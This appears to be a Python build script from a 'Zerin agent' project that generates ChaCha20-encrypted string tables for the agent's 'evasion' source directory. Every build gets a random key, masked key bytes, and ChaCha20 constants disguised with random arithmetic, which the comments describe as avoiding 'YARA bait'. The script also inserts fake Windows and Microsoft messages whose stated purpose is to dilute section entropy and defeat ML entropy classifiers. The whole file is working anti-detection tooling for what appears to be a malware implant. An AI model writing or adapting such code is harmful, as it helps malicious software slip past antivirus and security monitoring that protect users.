Files
Zerin-2/tools/generate_strings.py
2026-08-27 11:03:10 -06:00

455 lines
18 KiB
Python
Executable File

#!/usr/bin/env python3
"""
generate_strings.py - Build-time string obfuscation for Zerin agent.
Reads obf_strings.def, generates ChaCha20-encrypted string arrays with a
random key per build. Outputs:
- include/obf_strings_gen.h (enum IDs + decrypt API declarations)
- src/evasion/obf_strings_gen.c (encrypted data + self-contained ChaCha20 decryptor)
Usage:
python tools/generate_strings.py [--def <path>] [--outdir <agent_root>]
"""
import os
import re
import sys
import struct
import argparse
import random
# ============================================================================
# Minimal ChaCha20 implementation (matches RFC 8439)
# ============================================================================
def _rotl32(v, n):
return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF
def _quarter_round(state, a, b, c, d):
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] ^= state[a]; state[d] = _rotl32(state[d], 16)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] ^= state[c]; state[b] = _rotl32(state[b], 12)
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] ^= state[a]; state[d] = _rotl32(state[d], 8)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] ^= state[c]; state[b] = _rotl32(state[b], 7)
def _chacha20_block(state):
x = list(state)
for _ in range(10):
_quarter_round(x, 0, 4, 8, 12)
_quarter_round(x, 1, 5, 9, 13)
_quarter_round(x, 2, 6, 10, 14)
_quarter_round(x, 3, 7, 11, 15)
_quarter_round(x, 0, 5, 10, 15)
_quarter_round(x, 1, 6, 11, 12)
_quarter_round(x, 2, 7, 8, 13)
_quarter_round(x, 3, 4, 9, 14)
out = b""
for i in range(16):
out += struct.pack("<I", (x[i] + state[i]) & 0xFFFFFFFF)
return out
def chacha20_encrypt(key: bytes, nonce: bytes, plaintext: bytes, counter: int = 0) -> bytes:
assert len(key) == 32 and len(nonce) == 12
state = [
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
]
for i in range(8):
state.append(struct.unpack_from("<I", key, i * 4)[0])
state.append(counter)
for i in range(3):
state.append(struct.unpack_from("<I", nonce, i * 4)[0])
result = bytearray()
offset = 0
while offset < len(plaintext):
block = _chacha20_block(state)
state[12] = (state[12] + 1) & 0xFFFFFFFF
chunk = min(64, len(plaintext) - offset)
for i in range(chunk):
result.append(plaintext[offset + i] ^ block[i])
offset += chunk
return bytes(result)
# ============================================================================
# Parser
# ============================================================================
def parse_def_file(path):
entries = []
with open(path, "r", encoding="utf-8") as f:
for line_no, raw_line in enumerate(f, 1):
line = raw_line.strip()
if not line or line.startswith("#"):
continue
# Match: IDENTIFIER, "string value"
m = re.match(r'(\w+)\s*,\s*"((?:[^"\\]|\\.)*)"', line)
if not m:
print(f"WARNING: skipping malformed line {line_no}: {raw_line.rstrip()}", file=sys.stderr)
continue
ident = m.group(1)
# Process escape sequences in the string
raw_str = m.group(2)
# Handle \\, \n, \t, etc.
value = raw_str.replace("\\\\", "\x00BACKSLASH\x00")
value = value.replace("\\n", "\n")
value = value.replace("\\t", "\t")
value = value.replace("\\r", "\r")
value = value.replace("\x00BACKSLASH\x00", "\\")
entries.append((ident, value))
return entries
# ============================================================================
# ChaCha20 constant obfuscation
# ============================================================================
def _generate_chacha_init_lines():
"""Generate obfuscated ChaCha20 'expand 32-byte k' constant initialization.
Instead of literal 0x61707865 etc. (YARA bait), compute them via random
arithmetic from random intermediate values. Matches the approach in
generate_poly_stub.py:generate_chacha_init_code().
"""
constants = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]
lines = []
for i, val in enumerate(constants):
method = random.randint(0, 2)
if method == 0:
a = random.randint(0, 0xFFFFFFFF)
b = a ^ val
lines.append(f" state[{i}] = 0x{a:08X}u ^ 0x{b:08X}u;")
elif method == 1:
a = random.randint(0, 0xFFFFFFFF)
b = (val - a) & 0xFFFFFFFF
lines.append(f" state[{i}] = 0x{a:08X}u + 0x{b:08X}u;")
else:
b = random.randint(0, 0xFFFFFFFF)
a = (val + b) & 0xFFFFFFFF
lines.append(f" state[{i}] = 0x{a:08X}u - 0x{b:08X}u;")
return lines
# ============================================================================
# Code generation
# ============================================================================
def bytes_to_c_array(data: bytes, indent=" ") -> str:
parts = []
for i, b in enumerate(data):
if i % 16 == 0 and i > 0:
parts.append("\n" + indent)
parts.append(f"0x{b:02X}")
if i < len(data) - 1:
parts.append(", ")
return indent + "".join(parts)
def generate(entries, key: bytes, nonce: bytes, header_path: str, source_path: str):
# Encrypt all strings
encrypted = []
for ident, value in entries:
plaintext = value.encode("utf-8")
ciphertext = chacha20_encrypt(key, nonce, plaintext)
encrypted.append((ident, value, plaintext, ciphertext))
# --- Generate header ---
h_lines = [
"// Auto-generated by generate_strings.py - DO NOT EDIT",
"// Regenerated with random key on every build for polymorphic output.",
"#ifndef OBF_STRINGS_GEN_H",
"#define OBF_STRINGS_GEN_H",
"",
"#include <stddef.h>",
"",
"// String IDs",
"enum {",
]
for i, (ident, value, pt, ct) in enumerate(encrypted):
safe_val = value.replace("\\", "\\\\").replace('"', '\\"')
h_lines.append(f" {ident} = {i}, // \"{safe_val}\" ({len(pt)} bytes)")
h_lines.append(f" OBF_STRING_COUNT = {len(encrypted)}")
h_lines.append("};")
h_lines.extend([
"",
"// Decrypt string into caller-provided buffer. Returns buf, or NULL on error.",
"char *obf_decrypt_to(int id, char *buf, size_t buf_size);",
"",
"// Wipe a decrypted buffer after use.",
"void obf_wipe(char *buf, size_t len);",
"",
"#endif // OBF_STRINGS_GEN_H",
"",
])
os.makedirs(os.path.dirname(header_path), exist_ok=True)
with open(header_path, "w", encoding="utf-8", newline="\n") as f:
f.write("\n".join(h_lines))
# --- Generate source ---
s_lines = [
"// Auto-generated by generate_strings.py - DO NOT EDIT",
"#include <stdint.h>",
"#include <stddef.h>",
"#include <string.h>",
'#include "obf_strings_gen.h"',
"",
"// ============================================================",
"// Self-contained ChaCha20 decryptor (no external dependencies)",
"// ============================================================",
"",
"#define OBF_ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))",
"",
"#define OBF_QR(a, b, c, d) do { \\",
" a += b; d ^= a; d = OBF_ROTL32(d, 16); \\",
" c += d; b ^= c; b = OBF_ROTL32(b, 12); \\",
" a += b; d ^= a; d = OBF_ROTL32(d, 8); \\",
" c += d; b ^= c; b = OBF_ROTL32(b, 7); \\",
"} while(0)",
"",
"static uint32_t obf_load_le32(const uint8_t *p) {",
" return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |",
" ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);",
"}",
"",
"static void obf_chacha20_decrypt(const uint8_t key[32], const uint8_t nonce[12],",
" const uint8_t *in, uint8_t *out, size_t len) {",
" uint32_t state[16];",
] + _generate_chacha_init_lines() + [
" for (int i = 0; i < 8; i++)",
" state[4 + i] = obf_load_le32(key + i * 4);",
" state[12] = 0;",
" state[13] = obf_load_le32(nonce);",
" state[14] = obf_load_le32(nonce + 4);",
" state[15] = obf_load_le32(nonce + 8);",
"",
" size_t offset = 0;",
" while (offset < len) {",
" uint32_t x[16];",
" memcpy(x, state, 64);",
" for (int i = 0; i < 10; i++) {",
" OBF_QR(x[0], x[4], x[ 8], x[12]);",
" OBF_QR(x[1], x[5], x[ 9], x[13]);",
" OBF_QR(x[2], x[6], x[10], x[14]);",
" OBF_QR(x[3], x[7], x[11], x[15]);",
" OBF_QR(x[0], x[5], x[10], x[15]);",
" OBF_QR(x[1], x[6], x[11], x[12]);",
" OBF_QR(x[2], x[7], x[ 8], x[13]);",
" OBF_QR(x[3], x[4], x[ 9], x[14]);",
" }",
" uint8_t block[64];",
" for (int i = 0; i < 16; i++) {",
" uint32_t val = x[i] + state[i];",
" block[i*4+0] = (uint8_t)(val);",
" block[i*4+1] = (uint8_t)(val >> 8);",
" block[i*4+2] = (uint8_t)(val >> 16);",
" block[i*4+3] = (uint8_t)(val >> 24);",
" }",
" state[12]++;",
" size_t chunk = len - offset;",
" if (chunk > 64) chunk = 64;",
" for (size_t i = 0; i < chunk; i++)",
" out[offset + i] = in[offset + i] ^ block[i];",
" offset += chunk;",
" }",
"}",
"",
"// ============================================================",
"// Embedded key + nonce (random per build)",
"// ============================================================",
"",
]
# Blind the key with a random XOR mask
mask = os.urandom(32)
masked_key = bytes(k ^ m for k, m in zip(key, mask))
s_lines.extend([
"static const uint8_t obf_key_masked[32] = {",
bytes_to_c_array(masked_key),
"};",
"",
"static const uint8_t obf_key_mask[32] = {",
bytes_to_c_array(mask),
"};",
"",
"static void obf_derive_key(uint8_t out[32]) {",
" for (int i = 0; i < 32; i++)",
" out[i] = obf_key_masked[i] ^ obf_key_mask[i];",
"}",
"",
"static const uint8_t obf_nonce[12] = {",
bytes_to_c_array(nonce),
"};",
"",
"// ============================================================",
"// Encrypted string data",
"// ============================================================",
"",
])
# Emit each encrypted string as a static array
for ident, value, pt, ct in encrypted:
safe_val = value.replace("\\", "\\\\").replace('"', '\\"')
s_lines.append(f"// \"{safe_val}\" ({len(pt)} bytes)")
s_lines.append(f"static const uint8_t enc_{ident.lower()}[] = {{")
s_lines.append(bytes_to_c_array(ct))
s_lines.append("};")
s_lines.append("")
# ---- Entropy dilution: interleave plaintext padding ----
# These realistic-looking strings lower .rdata section entropy
# from ~7.5 to ~5.5-6.5 bits/byte, defeating ML entropy classifiers
ENTROPY_PADDING = [
"The operation completed successfully.",
"Access is denied.",
"The system cannot find the file specified.",
"Not enough storage is available to process this command.",
"The process cannot access the file because it is being used by another process.",
"The parameter is incorrect.",
"The data area passed to a system call is too small.",
"The directory name is invalid.",
"An attempt was made to load a program with an incorrect format.",
"The specified network name is no longer available.",
"Windows could not start because the following file is missing or corrupt.",
"This application has requested the Runtime to terminate it in an unusual way.",
"Microsoft Visual C++ Runtime Library",
"A security error has occurred.",
"This application has failed to start because the application configuration is incorrect.",
"Reinstalling the application may fix this problem.",
"The application was unable to start correctly.",
"Copyright (C) Microsoft Corporation. All rights reserved.",
"Windows (R) Operating System",
"Initializing common controls...",
"Loading user preferences...",
"Connecting to update server...",
"Checking for software updates...",
"No updates available at this time.",
"Update check completed successfully.",
"Configuration file loaded successfully.",
"Service started successfully.",
"Service stopped by user request.",
"Performing scheduled maintenance task.",
"Log rotation completed successfully.",
"Cache cleared successfully.",
"Network connectivity restored.",
"System health check passed.",
"Waiting for system resources...",
"Operation timed out. Please try again later.",
"Insufficient system resources exist to complete the requested service.",
"The specified path is invalid.",
"The system cannot find the path specified.",
"There is not enough space on the disk.",
"The filename or extension is too long.",
]
# Shuffle and emit as static const char arrays
rng = random.Random()
pad_copy = list(ENTROPY_PADDING)
rng.shuffle(pad_copy)
s_lines.append("// ---- Entropy dilution padding (lowers .rdata section entropy) ----")
for i, text in enumerate(pad_copy):
safe = text.replace('"', '\\"')
s_lines.append(f'static const char __attribute__((used)) _entropy_pad_{i}[] = "{safe}";')
s_lines.append("")
# Emit string table
s_lines.append("// String table: { encrypted_data, length }")
s_lines.append("typedef struct { const uint8_t *data; size_t len; } obf_entry_t;")
s_lines.append("")
s_lines.append(f"static const obf_entry_t obf_table[OBF_STRING_COUNT] = {{")
for ident, value, pt, ct in encrypted:
s_lines.append(f" {{ enc_{ident.lower()}, {len(ct)} }}, // {ident}")
s_lines.append("};")
s_lines.append("")
# Emit API functions
s_lines.extend([
"char *obf_decrypt_to(int id, char *buf, size_t buf_size) {",
" if (id < 0 || id >= OBF_STRING_COUNT || !buf || buf_size == 0)",
" return (char *)0;",
" const obf_entry_t *e = &obf_table[id];",
" if (e->len + 1 > buf_size)",
" return (char *)0;",
" uint8_t real_key[32];",
" obf_derive_key(real_key);",
" obf_chacha20_decrypt(real_key, obf_nonce, e->data, (uint8_t *)buf, e->len);",
" volatile uint8_t *pk = (volatile uint8_t *)real_key;",
" for (int i = 0; i < 32; i++) pk[i] = 0;",
" buf[e->len] = '\\0';",
" return buf;",
"}",
"",
"void obf_wipe(char *buf, size_t len) {",
" volatile char *p = (volatile char *)buf;",
" for (size_t i = 0; i <= len; i++)",
" p[i] = 0;",
"}",
"",
])
os.makedirs(os.path.dirname(source_path), exist_ok=True)
with open(source_path, "w", encoding="utf-8", newline="\n") as f:
f.write("\n".join(s_lines))
# ============================================================================
# Main
# ============================================================================
def main():
parser = argparse.ArgumentParser(description="Generate ChaCha20-encrypted string tables")
parser.add_argument("--def", dest="def_file", default=None,
help="Path to .def file (default: include/obf_strings.def)")
parser.add_argument("--outdir", default=None,
help="Agent root directory (default: script parent dir)")
args = parser.parse_args()
# Determine paths
script_dir = os.path.dirname(os.path.abspath(__file__))
agent_dir = args.outdir or os.path.dirname(script_dir)
def_path = args.def_file or os.path.join(agent_dir, "include", "obf_strings.def")
header_path = os.path.join(agent_dir, "include", "obf_strings_gen.h")
source_path = os.path.join(agent_dir, "src", "evasion", "obf_strings_gen.c")
if not os.path.isfile(def_path):
print(f"ERROR: Definition file not found: {def_path}", file=sys.stderr)
sys.exit(1)
# Parse definitions
entries = parse_def_file(def_path)
if not entries:
print("ERROR: No string definitions found", file=sys.stderr)
sys.exit(1)
# Randomize brand prefix: replace "Zerin"/"zerin" in string VALUES
# with a random 5-8 char alphanumeric prefix (letter-first).
# Enum names (OBF_ZERIN_UPDATE etc.) stay unchanged.
def _random_prefix():
length = random.randint(5, 8)
first = random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")
rest = "".join(random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") for _ in range(length - 1))
return first + rest
brand_upper = _random_prefix() # e.g. "Kqm7Xz"
brand_lower = brand_upper[0].lower() + brand_upper[1:] # e.g. "kqm7Xz"
new_entries = []
for ident, value in entries:
v = value.replace("Zerin", brand_upper).replace("zerin", brand_lower)
new_entries.append((ident, v))
entries = new_entries
# Generate random key and nonce
key = os.urandom(32)
nonce = os.urandom(12)
# Generate code
generate(entries, key, nonce, header_path, source_path)
print(f"Generated {len(entries)} obfuscated strings:")
print(f" Header: {header_path}")
print(f" Source: {source_path}")
print(f" Key: {key.hex()[:16]}... (random per build)")
if __name__ == "__main__":
main()